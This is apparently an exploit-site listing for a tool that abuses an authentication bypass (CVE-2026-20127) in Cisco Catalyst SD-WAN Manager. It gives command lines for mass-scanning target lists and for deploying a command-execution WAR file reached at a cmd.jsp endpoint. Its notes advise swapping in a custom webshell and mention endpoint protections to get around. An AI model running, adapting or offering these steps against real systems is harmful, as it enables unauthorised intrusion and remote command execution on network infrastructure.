Exploit for Improper Authentication in Cisco Catalyst_Sd-Wan_Manager CVE-2026-20127

## https://sploitus.com/exploit?id=5FFBD9E7-8BD1-58B7-9390-A354FDBE0C83
# CVE-2026-20127_EXP  
Cisco Catalyst SD-WAN authentication bypass vulnerability (CVE-2026-20127) – Exploit example  

### Basic usage  
`python scan.py -f targets.txt`  

### Display detailed information  
`python scan.py -f targets.txt -v`  

### Adjust number of threads and save results  
`python scan.py -f targets.txt -t 10 -o vulnerable.txt`  

### Specify the WAR file path  
`python scan.py -f targets.txt -w cmd.war`  

### Specify the WAR file path, adjust threads, and save results  
`python scan.py -f targets.txt -w cmd.war t 10 -o vulnerable.txt`  

# =========Notes========  
After successfully reproducing the vulnerability, accessing `/cmd.gz/cmd.jsp?cmd=whoami` will display results on the page.  
If you need to replace it with a webshell, please create your own war package (it’s recommended to use a Trojan-free version; tests show that Windows systems may have EDR/XDR protections).